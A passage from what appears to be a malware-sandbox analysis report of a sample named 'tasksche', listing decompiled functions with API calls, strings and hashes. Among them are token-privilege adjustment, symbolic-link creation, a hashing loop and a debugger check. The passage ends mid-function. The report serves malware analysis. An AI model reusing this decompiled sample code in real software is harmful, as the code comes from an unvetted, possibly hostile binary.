Part of subcall function 0040935F: _wcsncpy.LIBCMT ref: 004093C6

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000001), ref: 00406A7B
CloseHandle.KERNEL32(00000000), ref: 00406A8C
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000001), ref: 00406A99
_wcscpy.LIBCMT ref: 00406AE5
_wcscpy.LIBCMT ref: 00406B09
_wcscpy.LIBCMT ref: 00406B55
_wcscpy.LIBCMT ref: 00406B7E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00406BA4
DeviceIoControl.KERNEL32 ref: 00406BCF
CloseHandle.KERNEL32(00000000), ref: 00406BDA
GetLastError.KERNEL32 ref: 00406BEC
RemoveDirectoryW.KERNEL32(00000000), ref: 00406C21
DeleteFileW.KERNEL32(00000000), ref: 00406C29

Strings

UNC\, xrefs: 004069B5
SeRestorePrivilege, xrefs: 00406927
SeCreateSymbolicLinkPrivilege, xrefs: 00406931
\??\, xrefs: 00406993

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$CloseCreateFileHandle$DirectoryErrorLastProcessToken_wcslen$AdjustControlCurrentDeleteDeviceH_prologLookupOpenPrivilegePrivilegesRemoveValue_wcsncpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 295717069-3508440684
Opcode ID: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction ID: 0b044a0677013c3ee0dedeb9ad72db73be6c8eb7e300feb6a7d55a674be6f19f
Opcode Fuzzy Hash: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction Fuzzy Hash: 56B1B471A00215AFDF21EF64CC45BDA77B8EF04304F00446AF95AF7281D778AAA4CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004106F4 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004106F4(signed int* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v236;
				char _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				unsigned int* _t154;
				void* _t167;
				signed int _t183;
				signed int _t199;
				signed int _t227;
				signed int _t229;
				void* _t234;
				signed int _t236;
				void* _t243;

				if(__esi != 0) {
					_v296 = E0041D291( *(__esi[0xa]));
					_v292 = E0041D291( *((intOrPtr*)(__esi[0xa] + 4)));
					_v288 = E0041D291( *((intOrPtr*)(__esi[0xa] + 8)));
					_v284 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0xc)));
					_v280 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x10)));
					_v276 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x14)));
					_v272 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x18)));
					_v268 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x1c)));
					_v264 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x20)));
					_v260 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x24)));
					_v256 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x28)));
					_v252 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x2c)));
					_t229 = 0x30;
					_v248 = E0041D291( *((intOrPtr*)(__esi[0xa] + _t229)));
					_v244 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x34)));
					_v240 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x38)));
					_v236 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x3c)));
					_t154 =  &_v240;
					_v8 = _t229;
					do {
						asm("rol edi, 0xe");
						asm("ror ebx, 0x7");
						asm("rol ecx, 0xf");
						asm("rol ebx, 0xd");
						_t234 = ( *(_t154 - 0x34) ^  *(_t154 - 0x34) ^  *(_t154 - 0x34) >> 0x00000003) + ( *_t154 ^  *_t154 ^  *_t154 >> 0x0000000a) +  *((intOrPtr*)(_t154 - 0x38));
						_t154 =  &(_t154[1]);
						_t40 =  &_v8;
						 *_t40 = _v8 - 1;
						_t154[1] = _t234 +  *((intOrPtr*)(_t154 - 0x18));
					} while ( *_t40 != 0);
					_t236 =  *__esi;
					_t227 = __esi[4];
					_v8 = _v8 & 0x00000000;
					_v36 = __esi[1];
					_v32 = __esi[2];
					_v28 = __esi[3];
					_v20 = __esi[5];
					_v16 = __esi[6];
					_v40 = _t236;
					_v12 = __esi[7];
					do {
						asm("ror eax, 0xb");
						asm("rol ecx, 0x7");
						asm("ror ecx, 0x6");
						_t62 = _v8 + 0x42ac30; // 0x428a2f98
						_v8 = _v8 + 4;
						_t167 = (_t227 ^ _t227 ^ _t227) + ( !_t227 & _v16 ^ _v20 & _t227) +  *_t62 +  *((intOrPtr*)(_t243 + _v8 - 0x124)) + _v12;
						_v12 = _v16;
						_v16 = _v20;
						_v20 = _t227;
						_t227 = _t167 + _v28;
						asm("ror ecx, 0xd");
						asm("rol ebx, 0xa");
						asm("ror ebx, 0x2");
						_t75 =  &_v36; // 0x405a40
						_t77 =  &_v36; // 0x405a40
						_t81 =  &_v36; // 0x405a40
						_t199 =  *_t81;
						_v28 = _v32;
						_v36 = _v40;
						_t236 = (_t236 ^ _t236 ^ _t236) + (( *_t75 ^ _t236) & _v32 ^  *_t77 & _v40) + _t167;
						_v32 = _t199;
						_v40 = _t236;
					} while (_v8 < 0x100);
					_t88 =  &_v36; // 0x405a40
					 *__esi =  *__esi + _t236;
					__esi[1] = __esi[1] +  *_t88;
					__esi[2] = __esi[2] + _t199;
					__esi[3] = __esi[3] + _v28;
					__esi[4] = __esi[4] + _t227;
					__esi[5] = __esi[5] + _v20;
					__esi[6] = __esi[6] + _v16;
					_t183 = __esi[7] + _v12;
					__esi[7] = _t183;
					return _t183;
				} else {
					E0040CFA3( &_v40, 0x20);
					return E0040CFA3( &_v296, 0x100);
				}
			}

0x004106ff
0x0041072b
0x0041073e
0x00410751
0x00410764
0x00410777
0x0041078a
0x0041079d
0x004107b0
0x004107c3
0x004107d6
0x004107e9
0x004107fc
0x00410807
0x00410811
0x00410824
0x00410837
0x0041084a
0x00410853
0x00410859
0x0041085c
0x00410863
0x0041086b
0x00410874
0x00410879
0x00410885
0x00410888
0x0041088e
0x0041088e
0x00410891
0x00410891
0x00410899
0x0041089b
0x0041089e
0x004108a2
0x004108a8
0x004108ae
0x004108b4
0x004108ba
0x004108c0
0x004108c3
0x004108c6
0x004108cb
0x004108d0
0x004108d9
0x004108ec
0x004108f2
0x00410900
0x00410903
0x00410909
0x00410911
0x00410914
0x00410919
0x0041091c
0x00410923
0x00410928
0x00410930
0x00410944
0x00410944
0x00410947
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410956
0x00410961
0x00410966
0x00410970
0x00410978
0x00410983
0x0041098b
0x00410996
0x004109a1
0x004109a7
0x004109aa
0x004109af
0x00410701
0x00410707
0x0041071e
0x0041071e

APIs

__byteswap_ulong.LIBCMT ref: 00410726
__byteswap_ulong.LIBCMT ref: 00410739
__byteswap_ulong.LIBCMT ref: 0041074C
__byteswap_ulong.LIBCMT ref: 0041075F
__byteswap_ulong.LIBCMT ref: 00410772
__byteswap_ulong.LIBCMT ref: 00410785
__byteswap_ulong.LIBCMT ref: 00410798
__byteswap_ulong.LIBCMT ref: 004107AB
__byteswap_ulong.LIBCMT ref: 004107BE
__byteswap_ulong.LIBCMT ref: 004107D1
__byteswap_ulong.LIBCMT ref: 004107E4
__byteswap_ulong.LIBCMT ref: 004107F7
__byteswap_ulong.LIBCMT ref: 0041080C
__byteswap_ulong.LIBCMT ref: 0041081F
__byteswap_ulong.LIBCMT ref: 00410832
__byteswap_ulong.LIBCMT ref: 00410845

Strings

@Z@, xrefs: 00410928, 00410930, 00410944, 00410961

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __byteswap_ulong
String ID: @Z@
API String ID: 2309504477-3109265564
Opcode ID: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction ID: 1dc3a99616fea8f09d0a2898b21a56a39af3494018e3c7a499627515aa5f83aa
Opcode Fuzzy Hash: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction Fuzzy Hash: 869119B1A006148FCB24DF5AC881A9EB7F1FF48308F1445AEE59AE7721D734E9948F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEB6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CEB6(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t12;

				_t12 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					_t6 = LoadLibraryW(L"Crypt32.dll");
					 *_t12 = _t6;
					if(_t6 != 0) {
						_t12[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t12, "CryptUnprotectMemory");
						_t12[3] = _t6;
					}
					_t12[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0040ceb7
0x0040cebd
0x0040cec4
0x0040ceca
0x0040cece
0x0040cee6
0x0040cee9
0x0040ceeb
0x0040ceee
0x0040ceef
0x00000000
0x0040ceef
0x0040cef4

APIs

LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

Strings

CryptProtectMemory, xrefs: 0040CED7
CryptUnprotectMemory, xrefs: 0040CEDF
Crypt32.dll, xrefs: 0040CEBF

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2238633743-1753850145
Opcode ID: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction ID: 6e3b8f00ce2f8e0fa430b510b5536735c08c44b91adf59875fbb0715622b898a
Opcode Fuzzy Hash: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction Fuzzy Hash: 7EE092306003119FD7319F79EC44B03BBE89F94B10B14846FE984E3250C6B8D4518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406553 Relevance: 9.0, APIs: 6, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406553(WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				long _t19;

				_t19 = 0;
				if(OpenProcessToken(GetCurrentProcess(), 0x20,  &_v8) != 0) {
					_v24.PrivilegeCount = 1;
					_v12 = 2;
					if(LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)) != 0 && AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0) != 0 && GetLastError() == 0) {
						_t19 = 1;
					}
					CloseHandle(_v8);
				}
				return _t19;
			}

0x00406560
0x00406571
0x0040657a
0x00406582
0x00406591
0x004065b2
0x004065b2
0x004065b7
0x004065b7
0x004065c1

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
OpenProcessToken.ADVAPI32(00000000), ref: 00406569
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
GetLastError.KERNEL32 ref: 004065A8
CloseHandle.KERNEL32(?), ref: 004065B7

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction ID: 201d4201c496fcfd48e74424a9b99b2c6b7fcfb09556bcb8571a25bcb240e8ee
Opcode Fuzzy Hash: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction Fuzzy Hash: A0011DB1600209FFDB209FA4DC89EAF7BBCAB04344F401076B902E1255D775CE259A75

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6DE Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041E6DE(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x430298; // 0xae10d0d5
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44ff68 = _t6;
				 *0x44ff64 = _t22;
				 *0x44ff60 = _t25;
				 *0x44ff5c = _t21;
				 *0x44ff58 = _t27;
				 *0x44ff54 = _t26;
				 *0x44ff80 = ss;
				 *0x44ff74 = cs;
				 *0x44ff50 = ds;
				 *0x44ff4c = es;
				 *0x44ff48 = fs;
				 *0x44ff44 = gs;
				asm("pushfd");
				_pop( *0x44ff78);
				 *0x44ff6c =  *_t31;
				 *0x44ff70 = _v0;
				 *0x44ff7c =  &_a4;
				 *0x44feb8 = 0x10001;
				 *0x44fe6c =  *0x44ff70;
				 *0x44fe60 = 0xc0000409;
				 *0x44fe64 = 1;
				_t12 =  *0x430298; // 0xae10d0d5
				_v812 = _t12;
				_t13 =  *0x43029c; // 0x51ef2f2a
				_v808 = _t13;
				 *0x44feb0 = IsDebuggerPresent();
				_push(1);
				E00424E29(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x42ba78);
				if( *0x44feb0 == 0) {
					_push(1);
					E00424E29(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6e4
0x0041e6e6
0x0041e6e6
0x00423e8e
0x00423e93
0x00423e99
0x00423e9f
0x00423ea5
0x00423eab
0x00423eb1
0x00423eb8
0x00423ebf
0x00423ec6
0x00423ecd
0x00423ed4
0x00423edb
0x00423edc
0x00423ee5
0x00423eed
0x00423ef5
0x00423f00
0x00423f0f
0x00423f14
0x00423f1e
0x00423f28
0x00423f2d
0x00423f33
0x00423f38
0x00423f44
0x00423f49
0x00423f4b
0x00423f53
0x00423f5e
0x00423f6b
0x00423f6d
0x00423f6f
0x00423f74
0x00423f88

APIs

IsDebuggerPresent.KERNEL32 ref: 00423F3E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00423F53
UnhandledExceptionFilter.KERNEL32(0042BA78), ref: 00423F5E
GetCurrentProcess.KERNEL32(C0000409), ref: 00423F7A
TerminateProcess.KERNEL32(00000000), ref: 00423F81

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction ID: 77c401cdca4814435c65699ef26cb777055d8c499ed0f7a386f9586c05fd5705
Opcode Fuzzy Hash: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction Fuzzy Hash: 6F21C0B8A10208DFE710DF25F8496597BA0FB1A315F90117BE90887271EBB5599ECF0E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D155 Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D155(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				int _t22;
				void* _t23;
				void* _t24;
				short* _t26;

				if( *0x4300dc == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x44cf24 = _v304;
					 *0x44cf26 = 0;
					 *0x4300dc = 0x44cf24;
				}
				E00410BF7(_t23, _t24, _a4, _a8,  &_v104, 0x32);
				_t22 = _a16;
				_t26 = _a12;
				 *_t26 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x4300cc, _t26, _t22);
				 *((short*)(_t26 + _t22 * 2 - 2)) = 0;
				return 0;
			}

0x0040d16d
0x0040d17b
0x0040d188
0x0040d190
0x0040d196
0x0040d196
0x0040d1ac
0x0040d1b1
0x0040d1b4
0x0040d1c0
0x0040d1ca
0x0040d1d3
0x0040d1db

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0040D17B
GetNumberFormatW.KERNEL32 ref: 0040D1CA

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction ID: 2e86bd0250e0b4fef5c8dc12a3830970d19becb9d4c55c3472b337e1343b8b10
Opcode Fuzzy Hash: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction Fuzzy Hash: DB017C35600248AEE710DFA4EC41FAAB7FCEF09714F005426FA04EB1A0D3B89915CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB0 Relevance: 1.6, APIs: 1, Instructions: 89
comCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00419BB0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _v12;
				char* _t34;
				intOrPtr* _t36;
				intOrPtr* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr* _t44;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t56;
				void* _t57;
				intOrPtr _t63;

				_t34 =  &_v8;
				_t57 = 0;
				__imp__CoCreateInstance(0x42b1f8, 0, 1, 0x42b148, _t34, _t56, __ecx, __ecx);
				if(_t34 >= 0) {
					_t36 = _v8;
					_push( &_v12);
					_push(0x42b1e8);
					_push(_t36);
					if( *((intOrPtr*)( *_t36))() >= 0) {
						if(_a4 != 0) {
							_t54 = _v12;
							 *((intOrPtr*)( *_t54 + 0x14))(_t54, _a12, 2);
						}
						_t40 = _v8;
						 *((intOrPtr*)( *_t40 + 0x50))(_t40, _a8);
						if(_a20 != _t57) {
							_t52 = _v8;
							 *((intOrPtr*)( *_t52 + 0x1c))(_t52, _a20);
						}
						_t42 = _v8;
						_t63 =  *_t42;
						_push(_t57);
						if(_a24 != _t57) {
							_push(_a24);
						} else {
							_push(0x42a73c);
						}
						 *((intOrPtr*)(_t63 + 0x44))(_t42);
						if(_a28 != _t57) {
							_t50 = _v8;
							 *((intOrPtr*)( *_t50 + 0x2c))(_t50, _a28);
						}
						if(_a16 != _t57) {
							_t48 = _v8;
							 *((intOrPtr*)( *_t48 + 0x24))(_t48, _a16);
						}
						_t44 = _v12;
						_push(1);
						_push(_a12);
						_push(_t44);
						if( *((intOrPtr*)( *_t44 + 0x18))() >= 0) {
							_t57 = 1;
						}
						_t46 = _v12;
						 *((intOrPtr*)( *_t46 + 8))(_t46);
					}
					_t38 = _v8;
					 *((intOrPtr*)( *_t38 + 8))(_t38);
				}
				return _t57;
			}

0x00419bb6
0x00419bc1
0x00419bc9
0x00419bd1
0x00419bd7
0x00419bdf
0x00419be0
0x00419be5
0x00419bea
0x00419bf3
0x00419bf5
0x00419c00
0x00419c00
0x00419c03
0x00419c0c
0x00419c12
0x00419c14
0x00419c1d
0x00419c1d
0x00419c20
0x00419c23
0x00419c25
0x00419c29
0x00419c32
0x00419c2b
0x00419c2b
0x00419c2b
0x00419c36
0x00419c3c
0x00419c3e
0x00419c47
0x00419c47
0x00419c4d
0x00419c4f
0x00419c58
0x00419c58
0x00419c5b
0x00419c60
0x00419c62
0x00419c65
0x00419c6b
0x00419c6d
0x00419c6d
0x00419c6f
0x00419c75
0x00419c75
0x00419c78
0x00419c7e
0x00419c7e
0x00419c85

APIs

CoCreateInstance.OLE32(0042B1F8,00000000,00000001,0042B148,?), ref: 00419BC9

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction ID: e9337f94160ec10d5a134cda80235c1f61728acff05639409476ed3799cc72ed
Opcode Fuzzy Hash: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction Fuzzy Hash: FC311875A00209EFCF04CFA0C898DAA7BB9EF49304B204499F942DB250D739EE51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409C06 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409C06() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;

				_t12 =  *0x43003c; // 0xffffffff
				if(_t12 != 0xffffffff) {
					_t6 =  *0x4335d4; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					 *0x43003c = _t12;
					 *0x4335d4 = _t6;
					 *0x4335d0 = _v280.dwMinorVersion;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) +  *0x4335d0;
				}
			}

0x00409c09
0x00409c18
0x00409c56
0x00409c1a
0x00409c21
0x00409c2b
0x00409c31
0x00409c37
0x00409c43
0x00409c49
0x00409c4e
0x00409c4e
0x00409c5e
0x00409c71
0x00409c60
0x00409c6a
0x00409c6a

APIs

GetVersionExW.KERNEL32(?), ref: 00409C2B

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction ID: d7c6bb9a1732f6c2eece22a2b410928bcf9985e9f3444315991ea75afaaef588
Opcode Fuzzy Hash: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction Fuzzy Hash: E4F0F4B1A041088FDB28CF18E992A99B7F5A748305F1002A5D619D3390DA78AE81CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004234CE Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004234CE() {

				SetUnhandledExceptionFilter(E0042348C);
				return 0;
			}

0x004234d3
0x004234db

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002348C), ref: 004234D3

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction ID: 1b01da781a1f42b14bf088c4285091799bc00e9a7c54fca4454c541a30810ab4
Opcode Fuzzy Hash: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction Fuzzy Hash: 539002603521104746112BB06C1D51565A17F48617BD104A5B401C5054DA598621551B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3DC Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3DC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4100;
				signed short* _t26;
				long _t28;
				signed short* _t29;
				void* _t35;
				signed short* _t49;
				void* _t58;
				signed short* _t75;
				signed short* _t76;

				E0041AAF0(0x1000);
